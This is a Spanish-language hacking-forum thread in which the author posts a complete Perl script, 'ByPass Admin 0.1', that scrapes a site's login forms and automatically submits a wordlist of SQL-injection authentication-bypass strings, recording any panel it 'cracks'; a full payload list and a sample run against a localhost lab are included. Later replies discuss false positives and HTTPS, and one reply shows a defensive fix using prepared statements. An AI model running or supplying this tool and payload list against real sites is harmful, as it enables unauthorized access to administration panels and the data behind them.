elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Trabajando con las ramas de git (tercera parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [Perl] ByPass Admin 0.1
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: [Perl] ByPass Admin 0.1  (Leído 6,777 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Perl] ByPass Admin 0.1
« en: 13 Marzo 2012, 18:50 pm »

Acabo de terminar un programa que eh estado haciendo estos ultimos 3 dias , se trata de un script hecho en Perl para realizar los famosos y miticos bypass en los paneles de
administracion , lo bueno es que parsea todos los formularios encontrados en la pagina marcada para que todo sea mas automatico.

El programa depende de un archivo de texto llamado bypass.txt

Código:
admin'--
'or'1'='1
'or'
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a
- ' or 'x'='x
- ' or 'x'='x
'or'1 ou 'or''='
' or 'x'='x
admin' or 1==1
' OR "='
'or'1'='1

El codigo (formateado con perltidy) es

Código
  1. #!usr/bin/perl
  2. #ByPass Admin 0.1
  3. #Coded By Doddy H
  4.  
  5. use LWP::UserAgent;
  6. use HTML::Form;
  7.  
  8. my $nave = LWP::UserAgent->new;
  9. $nave->agent(
  10. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  11. );
  12. $nave->timeout(5);
  13.  
  14. head();
  15. start();
  16. copyright();
  17.  
  18. sub start {
  19.    print "\n\n[+] Admin : ";
  20.    chomp( my $url = <STDIN> );
  21.  
  22.    my $code = toma($url);
  23.  
  24.    my @testar = HTML::Form->parse( $code, "/" );
  25.  
  26.    $count = 0;
  27.    foreach my $test (@testar) {
  28.        $count++;
  29.        print "\n\n -- == Form $count == --\n\n";
  30.        if ( $test->attr(name) eq "" ) {
  31.            print "[+] Name : No Found" . "\n";
  32.        }
  33.        else {
  34.            print "[+] Name : " . $test->attr(name) . "\n";
  35.        }
  36.        print "[+] Action : " . $test->action . "\n";
  37.        print "[+] Method : " . $test->method . "\n";
  38.        print "\n-- == Input == --\n\n";
  39.        @inputs = $test->inputs;
  40.  
  41.        foreach $in (@inputs) {
  42.  
  43.            print "\n[+] Type : " . $in->type . "\n";
  44.            print "[+] Name : " . $in->name . "\n";
  45.            print "[+] Value : " . $in->value . "\n";
  46.  
  47.        }
  48.    }
  49.  
  50.    print "\n\n[+] Form to crack : ";
  51.    chomp( my $op = <stdin> );
  52.  
  53.    print "\n[+] Submit : ";
  54.    chomp( my $aca = <stdin> );
  55.  
  56.    print "\n[+] Options to check\n\n";
  57.    print "1 - Positive\n";
  58.    print "2 - Negative\n";
  59.    print "3 - Automatic\n\n";
  60.    print "[+] Option : ";
  61.    chomp( my $op2 = <stdin> );
  62.  
  63.    my @bypass = loadword();
  64.  
  65.    if ( $op2 eq "1" ) {
  66.        print "\n[+] String : ";
  67.        chomp( my $st = <stdin> );
  68.        print "\n\n[+] Cracking login....\n\n";
  69.        for my $by (@bypass) {
  70.            chomp $by;
  71.            my $code = load( $url, $code, $op, $aca, $by );
  72.            if ( $code =~ /$st/ig ) {
  73.                cracked( $url, $by );
  74.            }
  75.        }
  76.        print "\n[+] Finished\n";
  77.    }
  78.  
  79.    if ( $op2 eq "2" ) {
  80.        print "\n[+] String : ";
  81.        chomp( my $st = <stdin> );
  82.        print "\n\n[+] Cracking login....\n\n";
  83.        for my $by (@bypass) {
  84.            chomp $by;
  85.            my $code = load( $url, $code, $op, $aca, $by );
  86.            unless ( $code =~ /$st/ig ) {
  87.                cracked( $url, $by );
  88.            }
  89.        }
  90.        print "\n[+] Finished\n";
  91.    }
  92.  
  93.    if ( $op2 eq "3" ) {
  94.        print "\n\n[+] Cracking login....\n\n";
  95.        my $prueba_falsa = load( $url, $code, $op, $aca, "fuck you" );
  96.        for my $by (@bypass) {
  97.            chomp $by;
  98.            my $code = load( $url, $code, $op, $aca, $by );
  99.            unless ( $code eq $prueba_falsa ) {
  100.                cracked( $url, $by );
  101.            }
  102.        }
  103.        print "\n[+] Finished\n";
  104.    }
  105.  
  106. }
  107.  
  108. sub load {
  109.  
  110.    my ( $url, $code, $op, $aca, $text ) = @_;
  111.  
  112.    $op--;
  113.    my @probar = ( HTML::Form->parse( $code, "/" ) )[$op];
  114.  
  115.    for my $testa (@probar) {
  116.        if ( $testa->method eq "POST" ) {
  117.  
  118.            my @inputs = $testa->inputs;
  119.            for my $in (@inputs) {
  120.                if ( $in->type eq "submit" ) {
  121.                    if ( $in->name eq $aca ) {
  122.                        push( @botones_names,  $in->name );
  123.                        push( @botones_values, $in->value );
  124.                    }
  125.                }
  126.                else {
  127.                    push( @ordenuno, $in->name, $text );
  128.                }
  129.            }
  130.  
  131.            my @preuno = @ordenuno;
  132.            push( @preuno, $botones_names[0], $botones_values[0] );
  133.            my $codeuno = $nave->post( $url, \@preuno )->content;
  134.  
  135.            return $codeuno;
  136.  
  137.        }
  138.        else {
  139.  
  140.            my $final    = "";
  141.            my $orden    = "";
  142.            my $partedos = "";
  143.  
  144.            my @inputs = $testa->inputs;
  145.            for my $testa (@inputs) {
  146.  
  147.                if ( $testa->name eq $aca ) {
  148.  
  149.                    push( @botones_names,  $testa->name );
  150.                    push( @botones_values, $testa->value );
  151.                }
  152.                else {
  153.                    $orden .= '' . $testa->name . '=' . $text . '&';
  154.                }
  155.            }
  156.            chop($orden);
  157.  
  158.            my $partedos = "&" . $botones_names[0] . "=" . $botones_values[0];
  159.            my $final    = $url . "?" . $orden . $partedos;
  160.  
  161.            $codedos = toma($final);
  162.            return $codedos;
  163.        }
  164.    }
  165. }
  166.  
  167. sub cracked {
  168.    print "[+] Login Cracked\n\n";
  169.    print "[+] URL : $_[0]\n";
  170.    print "[+] Bypass : $_[1]\n";
  171.    savefile( "logs-bypass.txt", "[+] URL : $_[0]" );
  172.    savefile( "logs-bypass.txt", "[+] Bypass : $_[1]\n" );
  173.    copyright();
  174. }
  175.  
  176. sub loadword {
  177.  
  178.    my $file = "bypass.txt";
  179.  
  180.    if ( -f $file ) {
  181.  
  182.        open( FI, "bypass.txt" );
  183.        my @txts = <FI>;
  184.        close FI;
  185.        chomp @txts;
  186.  
  187.        return @txts;
  188.  
  189.    }
  190.    else {
  191.        print "\n\n[-] Wordlist not found\n\n";
  192.        copyright();
  193.    }
  194.  
  195. }
  196.  
  197. sub head {
  198.    print qq(
  199.  
  200. @@@@        @@@@@                       @        @         @      
  201. @   @       @    @                      @        @                
  202. @   @       @    @                     @ @       @                
  203. @   @  @  @ @    @  @@@   @@   @@      @ @    @@@@ @@@ @@  @ @ @@
  204. @@@@   @  @ @@@@@      @ @  @ @  @    @   @  @   @ @  @  @ @ @@  @
  205. @   @  @  @ @       @@@@  @    @      @   @  @   @ @  @  @ @ @   @
  206. @   @  @  @ @      @   @   @    @     @@@@@  @   @ @  @  @ @ @   @
  207. @   @   @@  @      @   @ @  @ @  @   @     @ @   @ @  @  @ @ @   @
  208. @@@@    @   @       @@@@  @@   @@    @     @  @@@@ @  @  @ @ @   @
  209.         @                                                        
  210.       @@                                                          
  211.  
  212.  
  213.  
  214. );
  215. }
  216.  
  217. sub copyright {
  218.    print "\n\n(C) Doddy Hackman 2012\n\n";
  219.    <stdin>;
  220.    exit(1);
  221. }
  222.  
  223. sub savefile {
  224.    open( SAVE, ">>" . $_[0] );
  225.    print SAVE $_[1] . "\n";
  226.    close SAVE;
  227. }
  228.  
  229. sub toma {
  230.    return $nave->get( $_[0] )->content;
  231. }
  232.  
  233. #The End ?
  234.  

Un ejemplo de uso

Código:


 @@@@        @@@@@                       @        @         @
 @   @       @    @                      @        @
 @   @       @    @                     @ @       @
 @   @  @  @ @    @  @@@   @@   @@      @ @    @@@@ @@@ @@  @ @ @@
 @@@@   @  @ @@@@@      @ @  @ @  @    @   @  @   @ @  @  @ @ @@  @
 @   @  @  @ @       @@@@  @    @      @   @  @   @ @  @  @ @ @   @
 @   @  @  @ @      @   @   @    @     @@@@@  @   @ @  @  @ @ @   @
 @   @   @@  @      @   @ @  @ @  @   @     @ @   @ @  @  @ @ @   @
 @@@@    @   @       @@@@  @@   @@    @     @  @@@@ @  @  @ @ @   @
         @
       @@





[+] Admin : http://localhost/labs/bypass/primero.php


 -- == Form 1 == --

[+] Name : No Found
[+] Action : /
[+] Method : POST

-- == Input == --


[+] Type : text
[+] Name : usuario
[+] Value :

[+] Type : password
[+] Name : password
[+] Value :

[+] Type : submit
[+] Name : logeo
[+] Value : Entrar


[+] Form to crack : 1

[+] Submit : logeo

[+] Options to check

1 - Positive
2 - Negative
3 - Automatic

[+] Option : 1

[+] String : exitoso


[+] Cracking login....

[+] Login Cracked

[+] URL : http://localhost/labs/bypass/primero.php
[+] Bypass : 'or'1'='1


(C) Doddy Hackman 2012



En línea

Pablo Videla


Desconectado Desconectado

Mensajes: 2.274



Ver Perfil WWW
Re: [Perl] ByPass Admin 0.1
« Respuesta #1 en: 13 Marzo 2012, 21:51 pm »

Recien aprendi a instalar y usar perl en windows XDDD probando, saludos!

---

Arroja falsos positivos, osea no siempre son vulnerables y aun asi arroja el "admin'--"


« Última modificación: 13 Marzo 2012, 22:07 pm por DonVidela » En línea

BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
Re: [Perl] ByPass Admin 0.1
« Respuesta #2 en: 14 Marzo 2012, 14:09 pm »

y si , es por eso que le puse 3 opciones para controlar eso (positivo,negativo,automatico).
La unica segura es la primera (positivo) que es cuando aparece (bienvenido admin).

« Última modificación: 14 Marzo 2012, 16:23 pm por Doddy » En línea

explorer

Desconectado Desconectado

Mensajes: 102


Analista/Programador Perl


Ver Perfil
Re: [Perl] ByPass Admin 0.1
« Respuesta #3 en: 14 Marzo 2012, 15:43 pm »

La mejor forma de evitar este tipo de ataques es programar bien la prueba de entrada de datos.
De hecho, la primera regla de lectura de datos desde el exterior del programa es no confiar nunca en los datos que llegan desde el usuario.

Con Perl, se puede usar el par prepare/execute:

Código
  1. my $sth = $dbh->prepare('SELECT * FROM usuarios WHERE nombre=? AND clave=?');
  2.  
  3. $sth->execute($nombre, $clave);
  4.  

Además, si el nombre y/o clave cumplen alguna regla de escritura, podemos poner un filtrado previo a $nombre y $clave, y así reducir aún más la posibilidad de ataque. Por ejemplo: las claves no deben contener espacios en blanco.
« Última modificación: 14 Marzo 2012, 16:25 pm por explorer » En línea

BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
Re: [Perl] ByPass Admin 0.1
« Respuesta #4 en: 14 Marzo 2012, 16:14 pm »

explorer ? , este programa nunca hubiera existido si vos no me hubieras ayudado , te pondria en los creditos pero se que estas cosas te disgustan xDD.
En línea

Pablo Videla


Desconectado Desconectado

Mensajes: 2.274



Ver Perfil WWW
Re: [Perl] ByPass Admin 0.1
« Respuesta #5 en: 14 Marzo 2012, 16:22 pm »

Cuando prueba con paginas que tienen conexion segura (https) no lee los formularios, a que se debe?

Saludos!
En línea

BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
Re: [Perl] ByPass Admin 0.1
« Respuesta #6 en: 14 Marzo 2012, 16:25 pm »

buena pregunta , nunca lo supe xDD.
En línea

explorer

Desconectado Desconectado

Mensajes: 102


Analista/Programador Perl


Ver Perfil
Re: [Perl] ByPass Admin 0.1
« Respuesta #7 en: 14 Marzo 2012, 17:14 pm »

Para que LWP pueda acceder con el protocolo HTTPS, debe estar instalado el módulo LWP::Protocol::https .
En línea

Pablo Videla


Desconectado Desconectado

Mensajes: 2.274



Ver Perfil WWW
Re: [Perl] ByPass Admin 0.1
« Respuesta #8 en: 14 Marzo 2012, 17:57 pm »

Para que LWP pueda acceder con el protocolo HTTPS, debe estar instalado el módulo LWP::Protocol::https .

Basta con declararlo verdad?

Gracias!
En línea

Pablo Videla


Desconectado Desconectado

Mensajes: 2.274



Ver Perfil WWW
Re: [Perl] ByPass Admin 0.1
« Respuesta #9 en: 14 Marzo 2012, 18:57 pm »

Sorry por el doble post, probe con el positive y al final me pide un string, para que es eso? No utiliza el diccionario de palabras?
En línea

Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Perl]Admin Control Panel Finder V1
Scripting
juh 1 7,868 Último mensaje 24 Septiembre 2010, 05:35 am
por [L]ord [R]NA
Libros de Perl online [PERL]
Scripting
madpitbull_99 0 4,012 Último mensaje 18 Mayo 2011, 21:49 pm
por madpitbull_99
admin bypass remote
Hacking
ruben_linux 0 1,961 Último mensaje 8 Junio 2012, 21:42 pm
por ruben_linux
VHCS2 Admin Bypass (AYUDA)
Hacking
Lualgoher 7 4,682 Último mensaje 26 Marzo 2014, 20:51 pm
por simorg
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines